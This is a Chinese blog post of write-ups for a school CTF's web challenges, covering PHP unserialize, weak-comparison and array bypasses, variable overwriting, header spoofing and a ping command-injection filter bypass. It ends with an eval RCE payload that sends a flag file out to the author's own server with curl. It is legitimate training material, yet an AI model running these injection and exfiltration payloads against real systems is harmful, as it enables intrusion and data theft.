学校ctf部分wp

  1. flag给你
  2. 序列化
  3. 你猜
  4. flag在那里
  5. 不想和你说话
  6. 该网站已被黑
  7. lottery
  8. easygame
  9. url
  10. 你算的太慢
  11. sha
  12. md5
  13. ping
  14. 不难的
  15. qiongqiong
  16. 满意的数字
  17. babyphp
  18. Simple

主要是web题的wp

flag给你

访问链接得到flag,给出的flag少了一个-。加上去即可

flag{091efg59-258e-3abv-c3h7-f18769f21b59}

序列化

给出一段code

<?php
error_reporting(0);
include "flag.php";
$key = "abcdefg!!!";
$str = $_GET['str'];
if (unserialize($str) === "$key")
{
    echo $flag;
}
show_source(__FILE__);
?>

序列化code如下

<?php
error_reporting(0);
//include "flag.php";
$key = "abcdefg!!!";
$str = "abcdefg!!!";
echo serialize($str);
?>

你猜

Ctrl+U得到注释的code

<?php
session_start();
$_SESSION['pwd']=time();
if (isset ($_POST['password'])) {
    if ($_POST['pwd'] == $_SESSION['pwd'])
        die('Flag:'.$flag);
    else{
        print '<p>猜测错误.</p>';
        $_SESSION['pwd']=time().time();
    }
}
?>

session ID是我们可控的,pwd也是我们可控的,唯一就是session我们无法控制是多少,但是可以置为空
删除PHPSESSID即可

flag在那里

打开一个lnk,点开跳转到404

抓包发现把flag base64编码放在了请求头

ctf{f31a81e91afdcf0b84dfee82ec2fb196}

不想和你说话

典型的变量覆盖,把b覆盖为空。a参数为空,非===达到若判断,””==False

该网站已被黑

没什么好说的,访问shell.php。密码为hack,得到flag

lottery

查看js,访问data.php。然后解析json显示

拿原题的脚本跑即可得到flag

import asyncio
import time
import aiohttp
import json

calc=0
class test(object):
    async def crackpassword(self,number):
        global calc
        if calc > 0:
            print(calc)
            exit()
        async with number:
            async with aiohttp.ClientSession(headers={"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"}) as session:
                async with session.get(url="http://10.20.105.228:8811/data.php") as response:
                    jsons=json.loads(await response.text())
                    if jsons['angle']>=150 and jsons['angle']<=210:
                        print(jsons['flag'])
                        calc+=1


    async def run(self):
        number=asyncio.Semaphore(500)
        data=[self.crackpassword(number) for k in range(500)]
        await asyncio.wait(data)

if __name__ == '__main__':
    obj=test()
    loop=asyncio.get_event_loop()
    loop.run_until_complete(obj.run())
    loop.close()

easygame

根据GET请求得到下一个请求

请求告知不是admin

带上X-Forwarded-For头设为127.0.0.1即可得到flag

url

打开url,点击lnk下载flag.txt告知flag不在此。注释看到flag.php

下载flag.php得到code

<?php
header('Content-Type: text/html; charset=utf-8'); //网页编码
function encrypt($data, $key) {
    $key = md5 ( $key );
    $x = 0;
    $len = strlen ( $data );
    $l = strlen ( $key );
    for($i = 0; $i < $len; $i ++) {
        if ($x == $l) {
            $x = 0;
        }
        $char .= $key {$x};
        $x ++;
    }
    for($i = 0; $i < $len; $i ++) {
        $str .= chr ( ord ( $data {$i} ) + (ord ( $char {$i} )) % 256 );
    }
    return base64_encode ( $str );
}

function decrypt($data, $key) {
    $key = md5 ( $key );
    $x = 0;
    $data = base64_decode ( $data );
    $len = strlen ( $data );
    $l = strlen ( $key );
    for($i = 0; $i < $len; $i ++) {
        if ($x == $l) {
            $x = 0;
        }
        $char .= substr ( $key, $x, 1 );
        $x ++;
    }
    for($i = 0; $i < $len; $i ++) {
        if (ord ( substr ( $data, $i, 1 ) ) < ord ( substr ( $char, $i, 1 ) )) {
            $str .= chr ( (ord ( substr ( $data, $i, 1 ) ) + 256) - ord ( substr ( $char, $i, 1 ) ) );
        } else {
            $str .= chr ( ord ( substr ( $data, $i, 1 ) ) - ord ( substr ( $char, $i, 1 ) ) );
        }
    }
    return $str;
}

$key="ctf";
$flag="xWqammfJaWrGm5yayJttaGiTlJRsbGrMmWxqa2fMm50=";//encrypt($flag,$key)
?>

调用decrypt函数解码得到flag

ctf{d2686e18b9ebc793613d448f73563f8d}

你算的太慢

实验吧原题,直接拿py带session计算重发即可得到flag

sha

view得到code

if (isset($_GET['name']) and isset($_GET['password'])) {
    if ($_GET['name'] == $_GET['password'])
        echo '<p>Your password can not be your name!</p>';
    else if (sha1($_GET['name']) === sha1($_GET['password']))
      die('Flag: '.$flag);
    else
        echo '<p>Invalid password.</p>';
}
else{
    echo '<p>Login first!</p>';

数组请求绕过判断,然后不使得判断成立得到flag

http://10.20.105.228:8812/?name[]=&password[]=admin

md5

找不到切入点,跳过

ping

RCE空格绕过

<?php
if(isset($_REQUEST[ 'ip' ])) {
    $target = trim($_REQUEST[ 'ip' ]);
    $substitutions = array(
        'head' => '',
        'ls' => '',
        'cat' => '',
        'flag' => '',
        '<'  => '',
        ' '  => '',
        '&'  => '',
        '|' => '',
        '-'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
    $cmd = shell_exec( 'ping  -c 1 ' . $target );
        echo $target;
    echo  "<pre>{$cmd}</pre>";
}
show_source(__FILE__);
?>

变量拼接绕过

http://10.20.105.228:8815/?ip=127.0.0.1;a=c;b=at;$a$b${IFS}*

不难的

<?php  

include('hint.php');

$data = $_GET["data"];
if(isset($data)&&(file_get_contents($data,'r')==="Welcome to jmpt CTF")){
    echo $hint;
}

if(isset($_GET['file'])){  
    $file = $_GET['file'];  
    $content = $_POST['content'];  
    $file = str_replace("php", "???", $file);  
    $file = str_replace("data", "???", $file);  
    $file = str_replace(":", "???", $file);  
    $file = str_replace(".", "???", $file);  
    file_put_contents(urldecode($file), "<?php die('a,各位师傅太能秀了!');?>".$content);  


}else{  
    highlight_file(__FILE__);  
}
?>

死亡exit绕过,p神有细说。
url双重编码绕过文件名过滤
rot13绕过即可(开启了短标签,rot13不会被解码写入,直接不编码即可)

qiongqiong

<?php
show_source(__FILE__);
if(isset($_GET['a'])){
    $feiyu=$_GET['a'];
    highlight_file(__FILE__);
        if(preg_match("/[A-Za-oq-z0-9$]+/",$feiyu)){
            die("No1 Die");
        }
        if(preg_match("/\~|\!|\@|#\|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$feiyu)){
            die("No2 Die");
        }
        eval($feiyu);
}
?>

wfuzz得到没被过滤的几个字符

搜索得到该题为php临时文件shell

满意的数字

访问index.php.txt得到code

<?php
header ( 'Content-Type: text/html; charset=utf-8' ); // 网页编码
error_reporting ( 0 );
$flag = "*******************";
//echo $_POST['num'];
if (isset ( $_POST ['num'] )) {
    if (@ereg ( "^[1-9]+$", $_POST['num'] ) === FALSE)
        echo '说好的数字呢?';
    else if (strpos ( $_POST['num'], '#testaasafd' ) !== FALSE)
        die ( 'Flag: ' . $flag );
    else
        echo '你的数字不太符合我的心意哦!';
}
?>
<html>
<head>
<title>猜密码</title>
</head>
<body style="text-align: center">
<center>
<img src="num.png"/>
    <form action="index.php" method="post">
        <input type="text" name="num" /> <input type="submit" value="提交" />
    </form>
</center>
    <!-- index.php.txt  -->
</body>
</html>

数组绕过解决

babyphp

<?php

highlight_file('source.txt');
echo "<br><br>";

$flag = 'xxxxxxxx';
$msg_giveme = 'Give me the flag!';
$msg_getout = 'No this. Get out!';
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($msg_giveme);
}

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
    exit($msg_getout);
}

foreach ($_POST as $key => $value) {
    $$key = $value;
}

foreach ($_GET as $key => $value) {
    $$key = $$value;
}

echo 'the flag is : ' . $flag;

?>

变量覆盖,原本是要flag=flag才能得到真正的flag,但是被if过滤了,多个变量暂存即可绕过

http://10.20.105.228:8809/?123=flag&flag=123

Simple

<?php
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($c = @$_GET['c']){
    if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $c)){
        eval(substr($c,0,5));
    }else{
        die("5个字母够了呀!");
    }
}

搜索得知``为shell_exec缩写
此时将如上payload传到eval将变成如下
eval($c;<command>)

看了一下wp,什么bp自带的客户端的dnslog数据外带,尝试用ceye.io数据外带。不是请求不到就是数据返回不全
最后想到的解决方法是,在服务器上
python3 -m http.server 4444

然后payload为
http://81.70.105.149:8006/?c=\$c`;curl%20http://:4444/cat${IFS}flag_i5_fun.php|grep${IFS}flag|base64


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。

文章标题:学校ctf部分wp

本文作者:九世

发布时间:2021-01-04, 13:22:17

最后更新:2021-01-04, 14:41:10

原始链接:http://jiushill.github.io/posts/81eaad2f.html

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

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